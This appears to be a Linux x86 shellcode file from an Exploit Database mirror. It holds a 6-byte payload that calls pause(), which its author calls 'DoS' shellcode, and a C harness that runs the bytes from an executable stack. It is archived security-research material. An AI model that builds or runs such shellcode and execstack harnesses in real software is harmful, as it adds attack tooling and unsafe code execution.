exploit-db-mirror/platforms/linux/shellcode/13671.c
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

28 lines
No EOL
477 B
C
Executable file

#include <stdio.h>
#include <string.h>
/*
by Magnefikko
14.04.2010
magnefikko@gmail.com
promhyl.oz.pl
Subgroup: #PRekambr
Name: 6 bytes DoS-Badger-Game shellcode
Platform: Linux x86
pause()
gcc -Wl,-z,execstack filename.c
shellcode:
\x31\xc0\xb0\x1d\xcd\x80
*/
int main(){
char shell[] = "\x31\xc0\xb0\x1d\xcd\x80";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}